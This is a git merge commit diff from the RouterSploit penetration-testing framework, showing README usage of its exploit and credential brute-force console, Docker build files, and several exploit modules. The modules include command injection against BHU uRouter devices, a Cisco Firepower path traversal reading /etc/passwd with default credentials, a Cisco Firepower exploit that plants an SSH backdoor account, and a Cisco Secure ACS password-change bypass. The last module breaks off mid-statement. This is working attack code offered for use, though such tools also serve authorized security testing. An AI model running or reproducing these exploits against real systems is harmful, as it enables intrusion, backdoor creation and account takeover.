Commit 8a01c26b by BigNerd95

Merge remote-tracking branch 'reverse-shell/master'

parents 3f41dc4d c42a0c69
FROM python:2.7
WORKDIR /routersploit
RUN git clone https://github.com/reverse-shell/routersploit/ .
RUN pip install -r requirements.txt
CMD ["python", "rsf.py"]
\ No newline at end of file
# Makefile that aggregates common chores before commit # Makefile that aggregates common chores before commit
.PHONY: all clean lint lint-modules test build update run help
MODULE='' MODULE=''
all: lint test all: lint test
...@@ -18,6 +20,15 @@ lint-modules: ...@@ -18,6 +20,15 @@ lint-modules:
test: clean test: clean
./run_tests.sh $(MODULE) ./run_tests.sh $(MODULE)
build:
docker build -t routersploit:latest -f Dockerfile .
update:
./run_docker.sh git pull
run:
./run_docker.sh
help: help:
@echo " clean" @echo " clean"
@echo " Remove python artifacts." @echo " Remove python artifacts."
......
...@@ -12,7 +12,7 @@ It consists of various modules that aids penetration testing operations: ...@@ -12,7 +12,7 @@ It consists of various modules that aids penetration testing operations:
- exploits - modules that take advantage of identified vulnerabilities - exploits - modules that take advantage of identified vulnerabilities
- creds - modules designed to test credentials against network services - creds - modules designed to test credentials against network services
- scanners - modules that check if target is vulnerable to any exploit - scanners - modules that check if a target is vulnerable to any exploit
# Installation # Installation
...@@ -29,7 +29,7 @@ It consists of various modules that aids penetration testing operations: ...@@ -29,7 +29,7 @@ It consists of various modules that aids penetration testing operations:
git clone https://github.com/reverse-shell/routersploit git clone https://github.com/reverse-shell/routersploit
cd routersploit cd routersploit
./rsf.py ./rsf.py
## Installation on Ubuntu 16.04 ## Installation on Ubuntu 16.04
sudo apt-get install python-dev python-pip libncurses5-dev git sudo apt-get install python-dev python-pip libncurses5-dev git
...@@ -46,16 +46,23 @@ It consists of various modules that aids penetration testing operations: ...@@ -46,16 +46,23 @@ It consists of various modules that aids penetration testing operations:
sudo pip install -r requirements.txt sudo pip install -r requirements.txt
./rsf.py ./rsf.py
## Running on Docker
git clone https://github.com/reverse-shell/routersploit
cd routersploit
docker build -t routersploit:latest -f Dockerfile .
./run_docker.sh
# Update # Update
Update RouterSploit Framework often. Project is under heavy development and new modules are shipped almost everyday. Update RouterSploit Framework often. The project is under heavy development and new modules are shipped almost every day.
cd routersploit cd routersploit
git pull git pull
# Usage # Usage
root@kalidev:~/git/routersploit# ./rsf.py root@kalidev:~/git/routersploit# ./rsf.py
______ _ _____ _ _ _ ______ _ _____ _ _ _
| ___ \ | | / ___| | | (_) | | ___ \ | | / ___| | | (_) |
| |_/ /___ _ _| |_ ___ _ __\ `--. _ __ | | ___ _| |_ | |_/ /___ _ _| |_ ___ _ __\ `--. _ __ | | ___ _| |_
...@@ -69,7 +76,7 @@ Update RouterSploit Framework often. Project is under heavy development and new ...@@ -69,7 +76,7 @@ Update RouterSploit Framework often. Project is under heavy development and new
Codename : Wildest Dreams Codename : Wildest Dreams
Version : 1.0.0 Version : 1.0.0
rsf > rsf >
## 1. Exploits ## 1. Exploits
...@@ -78,7 +85,7 @@ Update RouterSploit Framework often. Project is under heavy development and new ...@@ -78,7 +85,7 @@ Update RouterSploit Framework often. Project is under heavy development and new
rsf > use exploits/ rsf > use exploits/
exploits/2wire/ exploits/asmax/ exploits/asus/ exploits/cisco/ exploits/dlink/ exploits/fortinet/ exploits/juniper/ exploits/linksys/ exploits/multi/ exploits/netgear/ exploits/2wire/ exploits/asmax/ exploits/asus/ exploits/cisco/ exploits/dlink/ exploits/fortinet/ exploits/juniper/ exploits/linksys/ exploits/multi/ exploits/netgear/
rsf > use exploits/dlink/dir_300_600_rce rsf > use exploits/dlink/dir_300_600_rce
rsf (D-LINK DIR-300 & DIR-600 RCE) > rsf (D-LINK DIR-300 & DIR-600 RCE) >
You can use the tab key for completion. You can use the tab key for completion.
...@@ -103,7 +110,7 @@ Set options: ...@@ -103,7 +110,7 @@ Set options:
### Run module ### Run module
Exploiting target can be achieved by issuing 'run' or 'exploit' command: You can exploit the target by issuing the 'run' or 'exploit' command:
rsf (D-LINK DIR-300 & DIR-600 RCE) > run rsf (D-LINK DIR-300 & DIR-600 RCE) > run
[+] Target is vulnerable [+] Target is vulnerable
...@@ -145,9 +152,9 @@ Display information about exploit: ...@@ -145,9 +152,9 @@ Display information about exploit:
### Pick module ### Pick module
Modules located under creds/ directory allow running dictionary attacks against various network services. Modules located in the `creds/` directory allow running dictionary attacks against various network services.
Following services are currently supported: The following services are currently supported:
- ftp - ftp
- ssh - ssh
...@@ -158,8 +165,8 @@ Following services are currently supported: ...@@ -158,8 +165,8 @@ Following services are currently supported:
Every service has been divided into two modules: Every service has been divided into two modules:
- default (e.g. ssh_default) - this kind of modules use one wordlist with default credentials pairs login:password. Module can be quickly used and in matter of seconds verify if the device uses default credentials. - default (e.g. ssh_default) - this kind of modules use one wordlist with default credentials pairs login:password. The module can be quickly used and in matter of seconds can verify if the device uses default credentials.
- bruteforce (e.g. ssh_bruteforce) - this kind of modules perform dictionary attacks against specified account or list of accounts. It takes two parameters login and password. These values can be a single word (e.g. 'admin') or entire list of strings (file:///root/users.txt). - bruteforce (e.g. ssh_bruteforce) - this kind of modules perform dictionary attacks against a specified account or list of accounts. It takes two parameters: login and password. These values can be a single word (e.g. 'admin') or an entire list of strings (file:///root/users.txt).
Console: Console:
...@@ -167,22 +174,22 @@ Console: ...@@ -167,22 +174,22 @@ Console:
creds/ftp_bruteforce creds/http_basic_bruteforce creds/http_form_bruteforce creds/snmp_bruteforce creds/ssh_default creds/telnet_default creds/ftp_bruteforce creds/http_basic_bruteforce creds/http_form_bruteforce creds/snmp_bruteforce creds/ssh_default creds/telnet_default
creds/ftp_default creds/http_basic_default creds/http_form_default creds/ssh_bruteforce creds/telnet_bruteforce creds/ftp_default creds/http_basic_default creds/http_form_default creds/ssh_bruteforce creds/telnet_bruteforce
rsf > use creds/ssh_default rsf > use creds/ssh_default
rsf (SSH Default Creds) > rsf (SSH Default Creds) >
### Options ### Options
rsf (SSH Default Creds) > show options rsf (SSH Default Creds) > show options
Target options: Target options:
Name Current settings Description Name Current settings Description
---- ---------------- ----------- ---- ---------------- -----------
target Target IP address target Target IP address
port 22 Target port port 22 Target port
Module options: Module options:
Name Current settings Description Name Current settings Description
---- ---------------- ----------- ---- ---------------- -----------
threads 8 Numbers of threads threads 8 Numbers of threads
...@@ -213,21 +220,21 @@ Set target: ...@@ -213,21 +220,21 @@ Set target:
[-] worker-7 Authentication failed. Username: 'ADVMAIL' Password: 'HP' [-] worker-7 Authentication failed. Username: 'ADVMAIL' Password: 'HP'
[-] worker-3 Authentication failed. Username: '266344' Password: '266344' [-] worker-3 Authentication failed. Username: '266344' Password: '266344'
[-] worker-2 Authentication failed. Username: '1502' Password: '1502' [-] worker-2 Authentication failed. Username: '1502' Password: '1502'
(..) (..)
Elapsed time: 38.9181981087 seconds Elapsed time: 38.9181981087 seconds
[+] Credentials found! [+] Credentials found!
Login Password Login Password
----- -------- ----- --------
admin 1234 admin 1234
rsf (SSH Default Creds) > rsf (SSH Default Creds) >
## 3. Scanners ## 3. Scanners
Scanners allow quickly verify if the target is vulnerable to any exploits. Scanners allow you to quickly verify if the target is vulnerable to any exploits.
### Pick module ### Pick module
...@@ -238,7 +245,7 @@ Scanners allow quickly verify if the target is vulnerable to any exploits. ...@@ -238,7 +245,7 @@ Scanners allow quickly verify if the target is vulnerable to any exploits.
### Options ### Options
Target options: Target options:
Name Current settings Description Name Current settings Description
---- ---------------- ----------- ---- ---------------- -----------
target Target address e.g. http://192.168.1.1 target Target address e.g. http://192.168.1.1
...@@ -259,11 +266,11 @@ Set target: ...@@ -259,11 +266,11 @@ Set target:
[-] exploits/dlink/dir_645_password_disclosure is not vulnerable [-] exploits/dlink/dir_645_password_disclosure is not vulnerable
[-] exploits/dlink/dir_300_600_615_info_disclosure is not vulnerable [-] exploits/dlink/dir_300_600_615_info_disclosure is not vulnerable
[-] exploits/dlink/dir_300_600_rce is not vulnerable [-] exploits/dlink/dir_300_600_rce is not vulnerable
[+] Device is vulnerable! [+] Device is vulnerable!
- exploits/dlink/dwr_932_info_disclosure - exploits/dlink/dwr_932_info_disclosure
It has been verified that target is vulnerable to dwr\_932\_info\_disclosure exploit. Now use proper module and exploit target. It has been verified that the target is vulnerable to dwr\_932\_info\_disclosure exploit. Now use the proper module and exploit target.
rsf (D-Link Scanner) > use exploits/dlink/dwr_932_info_disclosure rsf (D-Link Scanner) > use exploits/dlink/dwr_932_info_disclosure
rsf (D-Link DWR-932 Info Disclosure) > set target 192.168.1.1 rsf (D-Link DWR-932 Info Disclosure) > set target 192.168.1.1
...@@ -272,7 +279,7 @@ It has been verified that target is vulnerable to dwr\_932\_info\_disclosure exp ...@@ -272,7 +279,7 @@ It has been verified that target is vulnerable to dwr\_932\_info\_disclosure exp
[*] Running module... [*] Running module...
[*] Decoding JSON value [*] Decoding JSON value
[+] Exploit success [+] Exploit success
Parameter Value Parameter Value
--------- ----- --------- -----
get_wps_enable 0 get_wps_enable 0
...@@ -285,9 +292,8 @@ It has been verified that target is vulnerable to dwr\_932\_info\_disclosure exp ...@@ -285,9 +292,8 @@ It has been verified that target is vulnerable to dwr\_932\_info\_disclosure exp
get_mac_filter_switch 0 get_mac_filter_switch 0
wifi_AP1_passphrase MyPaSsPhRaSe wifi_AP1_passphrase MyPaSsPhRaSe
get_wps_mode 0 get_wps_mode 0
# License
License has been taken from BSD licensing and applied to RouterSploit Framework. # License
Please see LICENSE for more details.
The RouterSploit Framework is under a BSD license.
Please see [LICENSE](LICENSE) for more details.
...@@ -159,6 +159,7 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -159,6 +159,7 @@ class RoutersploitInterpreter(BaseInterpreter):
help Print this help menu help Print this help menu
use <module> Select a module for usage use <module> Select a module for usage
exec <shell command> <args> Execute a command in a shell exec <shell command> <args> Execute a command in a shell
search <search term> Search for appropriate module
exit Exit RouterSploit""" exit Exit RouterSploit"""
module_help = """Module commands: module_help = """Module commands:
...@@ -180,7 +181,7 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -180,7 +181,7 @@ class RoutersploitInterpreter(BaseInterpreter):
self.prompt_hostname = 'rsf' self.prompt_hostname = 'rsf'
self.show_sub_commands = ('info', 'options', 'devices', 'all', 'creds', 'exploits', 'scanners') self.show_sub_commands = ('info', 'options', 'devices', 'all', 'creds', 'exploits', 'scanners')
self.global_commands = sorted(['use ', 'exec ', 'help', 'exit', 'show ']) self.global_commands = sorted(['use ', 'exec ', 'help', 'exit', 'show ', 'search '])
self.module_commands = ['run', 'back', 'set ', 'setg ', 'check'] self.module_commands = ['run', 'back', 'set ', 'setg ', 'check']
self.module_commands.extend(self.global_commands) self.module_commands.extend(self.global_commands)
self.module_commands.sort() self.module_commands.sort()
...@@ -456,5 +457,19 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -456,5 +457,19 @@ class RoutersploitInterpreter(BaseInterpreter):
def command_exec(self, *args, **kwargs): def command_exec(self, *args, **kwargs):
os.system(args[0]) os.system(args[0])
def command_search(self, *args, **kwargs):
keyword = args[0]
if not keyword:
utils.print_error("Please specify search keyword. e.g. 'search cisco'")
return
for module in self.modules:
if keyword in module:
module = utils.humanize_path(module)
utils.print_info(
"{}\033[31m{}\033[0m{}".format(*module.partition(keyword))
)
def command_exit(self, *args, **kwargs): def command_exit(self, *args, **kwargs):
raise EOFError raise EOFError
...@@ -56,7 +56,7 @@ class Exploit(exploits.Exploit): ...@@ -56,7 +56,7 @@ class Exploit(exploits.Exploit):
ftp = ftplib.FTP() ftp = ftplib.FTP()
try: try:
ftp.connect(self.target, port=int(self.port), timeout=10) ftp.connect(self.target, port=int(self.port), timeout=10)
except socket.error, socket.timeout: except (socket.error, socket.timeout):
print_error("Connection error: %s:%s" % (self.target, str(self.port))) print_error("Connection error: %s:%s" % (self.target, str(self.port)))
ftp.close() ftp.close()
return return
...@@ -105,7 +105,7 @@ class Exploit(exploits.Exploit): ...@@ -105,7 +105,7 @@ class Exploit(exploits.Exploit):
try: try:
ftp.connect(self.target, port=int(self.port), timeout=10) ftp.connect(self.target, port=int(self.port), timeout=10)
break break
except socket.error, socket.timeout: except (socket.error, socket.timeout):
print_error("{} Connection problem. Retrying...".format(name), verbose=module_verbosity) print_error("{} Connection problem. Retrying...".format(name), verbose=module_verbosity)
retries += 1 retries += 1
......
...@@ -54,7 +54,7 @@ class Exploit(exploits.Exploit): ...@@ -54,7 +54,7 @@ class Exploit(exploits.Exploit):
ftp = ftplib.FTP() ftp = ftplib.FTP()
try: try:
ftp.connect(self.target, port=int(self.port), timeout=10) ftp.connect(self.target, port=int(self.port), timeout=10)
except socket.error, socket.timeout: except (socket.error, socket.timeout):
print_error("Connection error: %s:%s" % (self.target, str(self.port))) print_error("Connection error: %s:%s" % (self.target, str(self.port)))
ftp.close() ftp.close()
return return
......
...@@ -37,7 +37,7 @@ class Exploit(exploits.Exploit): ...@@ -37,7 +37,7 @@ class Exploit(exploits.Exploit):
], ],
} }
target = exploits.Option('', 'Target IP address or file with target:port (file://)', validators=validators.url) target = exploits.Option('', 'Target IP address or file with target:port (file://)')
port = exploits.Option(80, 'Target port') port = exploits.Option(80, 'Target port')
threads = exploits.Option(8, 'Numbers of threads') threads = exploits.Option(8, 'Numbers of threads')
......
...@@ -36,7 +36,7 @@ class Exploit(exploits.Exploit): ...@@ -36,7 +36,7 @@ class Exploit(exploits.Exploit):
], ],
} }
target = exploits.Option('', 'Target IP address or file with target:port (file://)', validators=validators.url) target = exploits.Option('', 'Target IP address or file with target:port (file://)')
port = exploits.Option(80, 'Target port') port = exploits.Option(80, 'Target port')
threads = exploits.Option(8, 'Number of threads') threads = exploits.Option(8, 'Number of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
......
...@@ -47,7 +47,7 @@ class Exploit(exploits.Exploit): ...@@ -47,7 +47,7 @@ class Exploit(exploits.Exploit):
data = {"__ENH_SHOW_REDIRECT_PATH__": "/pages/C_4_0.asp/../../..{}".format(self.filename), data = {"__ENH_SHOW_REDIRECT_PATH__": "/pages/C_4_0.asp/../../..{}".format(self.filename),
"__ENH_SUBMIT_VALUE_SHOW__": "Acceder", "__ENH_SUBMIT_VALUE_SHOW__": "Acceder",
"__ENH_SUBMIT_VALUE_SHOW__": "", "__ENH_ERROR_REDIRECT_PATH__": "",
"username": "tech"} "username": "tech"}
response = http_request(method="POST", url=url, headers=headers, data=data) response = http_request(method="POST", url=url, headers=headers, data=data)
...@@ -67,7 +67,7 @@ class Exploit(exploits.Exploit): ...@@ -67,7 +67,7 @@ class Exploit(exploits.Exploit):
data = {"__ENH_SHOW_REDIRECT_PATH__": "/pages/C_4_0.asp/../../../etc/passwd", data = {"__ENH_SHOW_REDIRECT_PATH__": "/pages/C_4_0.asp/../../../etc/passwd",
"__ENH_SUBMIT_VALUE_SHOW__": "Acceder", "__ENH_SUBMIT_VALUE_SHOW__": "Acceder",
"__ENH_SUBMIT_VALUE_SHOW__": "", "__ENH_ERROR_REDIRECT_PATH__": "",
"username": "tech"} "username": "tech"}
response = http_request(method="POST", url=url, headers=headers, data=data) response = http_request(method="POST", url=url, headers=headers, data=data)
......
...@@ -3,11 +3,11 @@ from routersploit import ( ...@@ -3,11 +3,11 @@ from routersploit import (
print_success, print_success,
print_status, print_status,
print_error, print_error,
print_info,
http_request, http_request,
mute, mute,
validators, validators,
random_text, random_text,
shell
) )
...@@ -40,27 +40,15 @@ class Exploit(exploits.Exploit): ...@@ -40,27 +40,15 @@ class Exploit(exploits.Exploit):
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available") print_status("It is blind command injection - response is not available")
self.command_loop() shell(self, architecture="mips")
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
def command_loop(self):
while 1:
cmd = raw_input("cmd > ")
if cmd in ['exit', 'quit']:
return
print_info(self.execute(cmd))
def execute(self, cmd): def execute(self, cmd):
url = "{}:{}/utility.cgi?testType=1&IP=aaa || {}".format(self.target, self.port, cmd) url = "{}:{}/utility.cgi?testType=1&IP=aaa || {}".format(self.target, self.port, cmd)
response = http_request(method="GET", url=url) http_request(method="GET", url=url)
if response is None: return ""
return ""
return response.text
@mute @mute
def check(self): def check(self):
......
...@@ -6,6 +6,7 @@ from routersploit import ( ...@@ -6,6 +6,7 @@ from routersploit import (
http_request, http_request,
mute, mute,
validators, validators,
shell
) )
...@@ -38,19 +39,10 @@ class Exploit(exploits.Exploit): ...@@ -38,19 +39,10 @@ class Exploit(exploits.Exploit):
if self.check(): if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
self.command_loop() shell(self, architecture="mips")
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
def command_loop(self):
while 1:
cmd = raw_input("cmd > ")
if cmd in ['exit', 'quit']:
return
print self.execute(cmd)
def execute(self, cmd): def execute(self, cmd):
url = "{}:{}/cgi-bin/script?system%20{}".format(self.target, self.port, cmd) url = "{}:{}/cgi-bin/script?system%20{}".format(self.target, self.port, cmd)
......
...@@ -7,6 +7,7 @@ from routersploit import ( ...@@ -7,6 +7,7 @@ from routersploit import (
http_request, http_request,
mute, mute,
validators, validators,
shell
) )
...@@ -36,22 +37,13 @@ class Exploit(exploits.Exploit): ...@@ -36,22 +37,13 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target Port') port = exploits.Option(80, 'Target Port')
def run(self): def run(self):
if self.check() is True: if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
self.command_loop() shell(self, architecture="mips")
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
def command_loop(self):
while 1:
cmd = raw_input("cmd > ")
if cmd in ['exit', 'quit']:
return
print self.execute(cmd)
def execute(self, cmd): def execute(self, cmd):
url = "{}:{}/login.cgi.php".format(self.target, self.port) url = "{}:{}/login.cgi.php".format(self.target, self.port)
headers = {u'Content-Type': u'application/x-www-form-urlencoded'} headers = {u'Content-Type': u'application/x-www-form-urlencoded'}
...@@ -71,6 +63,6 @@ class Exploit(exploits.Exploit): ...@@ -71,6 +63,6 @@ class Exploit(exploits.Exploit):
response = self.execute(cmd) response = self.execute(cmd)
if mark in response: if mark in response:
return True # target vulnerable return True # target is vulnerable
return False # target is not vulnerable return False # target is not vulnerable
from routersploit import (
exploits,
print_success,
print_status,
print_error,
http_request,
validators,
shell,
mute,
)
class Exploit(exploits.Exploit):
"""Exploit implementation for unauthenticated RCE vulnerability on BHU uRouter."""
__info__ = {
'name': 'BHU uRouter RCE',
'authors': [
'Tao "depierre" Sauvage',
],
'description': 'Module exploits BHU uRouter unauthenticated remote code execution vulnerability, which '
'allows executing commands on the router with root privileges.',
'references': [
'http://www.ioactive.com/pdfs/BHU-WiFi_uRouter-Security_Advisory_Final081716.pdf',
],
'devices': [
'BHU uRouter',
],
}
target = exploits.Option('', 'Target address e.g. http://192.168.62.1', validators=validators.url)
port = exploits.Option(80, 'Target port')
def run(self):
if self.check():
print_success('Target is vulnerable')
print_status('Blind command injection - response is not available')
print_status('Possible extraction point:')
print_status('\t- Inject "CMD &gt; /usr/share/www/routersploit.check"')
print_status('\t- The result of CMD will be available at {}:{}/routersploit.check'.format(self.target, self.port))
print_status("Invoking command loop (type 'exit' or 'quit' to exit the loop)...")
shell(self, architecture='mips')
else:
print_error('Target is not vulnerable')
def execute(self, cmd):
url = u'{}:{}/cgi-bin/cgiSrv.cgi'.format(self.target, self.port)
headers = {u'Content-Type': u'text/xml', u'X-Requested-With': u'XMLHttpRequest'}
data = u'<cmd><ITEM cmd="traceroute" addr="$({})" /></cmd>'.format(cmd)
http_request(method=u'POST', url=url, headers=headers, data=data)
return '' # Blind RCE so no response available
@mute
def check(self):
url = u'{}:{}/cgi-bin/cgiSrv.cgi'.format(self.target, self.port)
headers = {u'Content-Type': u'text/xml', u'X-Requested-With': u'XMLHttpRequest'}
data = u'<cmd><ITEM cmd="traceroute" addr="$({})" /></cmd>'
# Blind unauth RCE so we first create a file in the www-root directory
cmd_echo = data.format(u'echo &quot;$USER&quot; &gt; /usr/share/www/routersploit.check')
response = http_request(method=u'POST', url=url, headers=headers, data=cmd_echo)
if not response or u'status="doing"' not in response.text:
return False
# Second we check that the file was successfully created
url = u'{}:{}/routersploit.check'.format(self.target, self.port)
response = http_request(method=u'GET', url=url)
if not response.status_code == 200 or u'root' not in response.text:
return False
# Third we clean up the temp file. No need to check if successful since we already check that the device was
# vulnerable at this point.
cmd_rm = data.format(u'rm -f /usr/share/www/routersploit.check')
http_request(method=u'POST', url=url, headers=headers, data=cmd_rm)
return True
import requests
from routersploit import (
exploits,
print_success,
print_status,
print_error,
print_info,
mute,
validators,
http_request,
)
class Exploit(exploits.Exploit):
"""
Exploit implementation for Cisco Firepower Management 6.0 Path Traversal vulnerability.
If the target is vulnerable, it is possible to retrieve content of the arbitrary files.
"""
__info__ = {
'name': 'Cisco Firepower Management 6.0 Path Traversal',
'description': 'Module exploits Cisco Firepower Management 6.0 Path Traversal vulnerability.'
'If the target is vulnerable, it is possible to retrieve content of the arbitrary files.',
'authors': [
'Matt', # vulnerability discovery
'sinn3r', # Metasploit module
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6435',
'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking',
],
'devices': [
'Cisco Firepower Management Console 6.0'
],
}
target = exploits.Option('', 'Target IP address', validators=validators.url)
port = exploits.Option(443, 'Target Port')
path = exploits.Option('/etc/passwd', 'File to read through vulnerability')
username = exploits.Option('admin', 'Default username to log in')
password = exploits.Option('Admin123', 'Default password to log in')
session = None
def run(self):
self.session = requests.Session()
if self.check():
print_success("Target seems to be vulnerable")
print_status("Trying to authenticate")
if self.login():
file_path = "../../..{}".format(self.path)
url = "{}:{}/events/reports/view.cgi?download=1&files={}%00".format(self.target, self.port, file_path)
print_status("Requesting: {}".format(file_path))
response = http_request(method="GET", url=url, session=self.session)
if response is None:
print_error("Exploit failed")
return
print_status("Reading response...")
if not len(response.text) or "empty or is not available to view" in response.text:
print_error("Exploit failed. Empty response.")
else:
print_info(response.text)
else:
print_error("Exploit failed. Could not authenticate.")
else:
print_error("Exploit failed. Target seems to be not vulnerable.")
@mute
def check(self):
url = "{}:{}/login.cgi?logout=1".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is not None and "6.0.1" in response.content:
return True # target is vulnerable
return False # target is not vulnerable
def login(self):
url = "{}:{}/login.cgi?logout=1".format(self.target, self.port)
data = {"username": self.username,
"password": self.password,
"target": ""}
response = http_request(method="POST", url=url, data=data, allow_redirects=False, timeout=30, session=self.session)
if response is None:
return False
if response.status_code == 302 and "CGISESSID" in response.cookies.get_dict().keys():
print_status("CGI Session ID: {}".format(response.cookies.get_dict()['CGISESSID']))
print_success("Authenticated as {}:{}".format(self.username, self.password))
return True
return False
import requests
import paramiko
import re
from routersploit import (
exploits,
print_success,
print_status,
print_error,
mute,
validators,
http_request,
random_text,
ssh_interactive
)
class Exploit(exploits.Exploit):
"""
Exploit implementation for Cisco Firepower Management 6.0 Remote Code Execution vulnerability.
If the target is vulnerable, it is possible to retrieve content of the arbitrary files.
"""
__info__ = {
'name': 'Cisco Firepower Management 6.0 RCE',
'description': 'Module exploits Cisco Firepower Management 6.0 Remote Code Execution vulnerability.'
'If the target is vulnerable, it is create backdoor account and authenticate through SSH service.',
'authors': [
'Matt', # vulnerability discovery
'sinn3r', # Metasploit module
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6433',
'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking',
],
'devices': [
'Cisco Firepower Management Console 6.0'
],
}
target = exploits.Option('', 'Target IP address', validators=validators.url)
port = exploits.Option(443, 'Target Port')
username = exploits.Option('admin', 'Default username to log in')
password = exploits.Option('Admin123', 'Default password to log in')
newusername = exploits.Option('', 'New backdoor username (Default: Random')
newpassword = exploits.Option('', 'New backdoor password (Default: Random')
session = None
def run(self):
self.session = requests.Session()
if self.check():
print_success("Target seems to be vulnerable")
if self.login():
if not self.newusername:
self.newusername = random_text(8)
if not self.newpassword:
self.newpassword = random_text(8)
self.create_ssh_backdoor(self.newusername, self.newpassword)
# Log into the SSH backdoor account
self.init_ssh_session(self.newusername, self.newpassword)
else:
print_error("Exploit failed. Could not log in")
else:
print_error("Exploit failed. Target seems to be not vulnerable.")
@mute
def check(self):
url = "{}:{}/img/favicon.png?v=6.0.1-1213".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is not None and response.status_code == 200:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
target = self.target.replace("http://", "").replace("https://", "")
try:
ssh.connect(target, 22, timeout=5, username=random_text(8), password=random_text(8))
except paramiko.AuthenticationException:
return True # target is vulnerable
except:
pass
return False # target is not vulnerable
def login(self):
url = "{}:{}/login.cgi?logout=1".format(self.target, self.port)
data = {"username": self.username,
"password": self.password,
"target": ""}
print_status("Trying to authenticate")
response = http_request(method="POST", url=url, data=data, allow_redirects=False, session=self.session)
if response is None:
return False
if response.status_code == 302 and "CGISESSID" in response.cookies.keys():
print_status("CGI Session ID: {}".format(response.cookies['CGISESSID']))
print_success("Authenticated as {}:{}".format(self.username, self.password))
return True
print_error("Exploit failed. Could not authenticate.")
return False
def create_ssh_backdoor(self, username, password):
url = "{}:{}/DetectionPolicy/rules/rulesimport.cgi".format(self.target, self.port)
sh_name = 'exploit.sh'
sf_action_id = self.get_sf_action_id()
payload = "sudo useradd -g ldapgroup -p `openssl passwd -1 {}` {}; rm /var/sf/SRU/{}".format(password, username, sh_name)
print_status("Attempting to create SSH backdoor")
multipart_form_data = {"action_submit": (None, "Import"),
"source": (None, "file"),
"manual_update": (None, "1"),
"sf_action_id": (None, sf_action_id),
"file": (sh_name, payload)}
try:
http_request(method="POST", url=url, files=multipart_form_data, session=self.session)
except:
pass
return
def get_sf_action_id(self):
print_status("Attempting to obtain sf_action_id from rulesimport.cgi")
url = "{}:{}/DetectionPolicy/rules/rulesimport.cgi".format(self.target, self.port)
response = http_request(method="GET", url=url, session=self.session)
if response is None:
return None
res = re.findall("sf_action_id = '(.+)';", response.text)
if len(res) > 1:
print_status("Found sf_action_id: {}".format(res[1]))
return res[1]
return None
def init_ssh_session(self, username, password):
print_status("Trying to authenticate through SSH with username: {} password:{} account".format(username, password))
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
target = self.target.replace("http://", "").replace("https://", "")
try:
ssh.connect(target, 22, timeout=5, username=username, password=password)
except:
ssh.close()
else:
print_success("SSH - Successful authentication")
ssh_interactive(ssh)
return
from routersploit import (
exploits,
print_success,
print_status,
print_error,
mute,
validators,
http_request,
)
class Exploit(exploits.Exploit):
"""
Exploit implementation for Cisco Secure ACS Unauthorized Password Change vulnerability.
If the target is vulnerable, it is possible to change user's password.
"""
__info__ = {
'name': 'Cisco Secure ACS Unauthorized Password Change',
'description': 'Module exploits an authentication bypass issue which allows arbitrary'
'password change requests to be issued for any user in the local store.'
'Instances of Secure ACS running version 5.1 with patches 3, 4, or 5 as well'
'as version 5.2 with either no patches or patches 1 and 2 are vulnerable.',
'authors': [
'Jason Kratzer <pyoor[at]flinkd.org>', # vulnerability discovery & metasploit module
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'http://www.cisco.com/en/US/products/csa/cisco-sa-20110330-acs.html',
],
'devices': [
'Cisco Secure ACS version 5.1 with patch 3, 4, or 5 installed and without patch 6 or later installed',
'Cisco Secure ACS version 5.2 without any patches installed',
'Cisco Secure ACS version 5.2 with patch 1 or 2 installed and without patch 3 or later installed'
],
}
target = exploits.Option('', 'Target IP address', validators=validators.url)
port = exploits.Option(443, 'Target Port')
path = exploits.Option('/PI/services/UCP/', 'Path to UCP WebService')
username = exploits.Option('', 'Username to use')
password = exploits.Option('', 'Password to use')
def run(self):
url = "{}:{}{}".format(self.target, self.port, self.path)
headers = {'SOAPAction': '"changeUserPass"'}
data = ('<?xml version="1.0" encoding="utf-8"?>' + '\r\n'
'<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" '
'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" '
'xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" '
'xmlns:xsd="http://www.w3.org/1999/XMLSchema">' + '\r\n'
'<SOAP-ENV:Body>' + '\r\n'
'<ns1:changeUserPass xmlns:ns1="UCP" SOAP-ENC:root="1">' + '\r\n'
'<v1 xsi:type="xsd:string">' + self.username + '</v1>' + '\r\n'
'<v2 xsi:type="xsd:string">fakepassword</v2>' + '\r\n'
'<v3 xsi:type="xsd:string">' + self.password + '</v3>' + '\r\n'
'</ns1:changeUserPass>'
'</SOAP-ENV:Body>' + '\r\n'
'</SOAP-ENV:Envelope>' + '\r\n\r\n')
print_status("Issuing password change request for: " + self.username)
response = http_request(method="POST", url=url, data=data, headers=headers)
if response is None:
print_error("Exploit failed. Target seems to be not vulnerable.")
return
if "success" in response.text:
print_success("Success! Password for {} has been changed to {}".format(self.username, self.password))
elif "Password has already been used" in response.text:
print_error("Failed! The supplied password has already been used.")
print_error("Please change the password and try again.")
elif "Invalid credentials for user" in response.text:
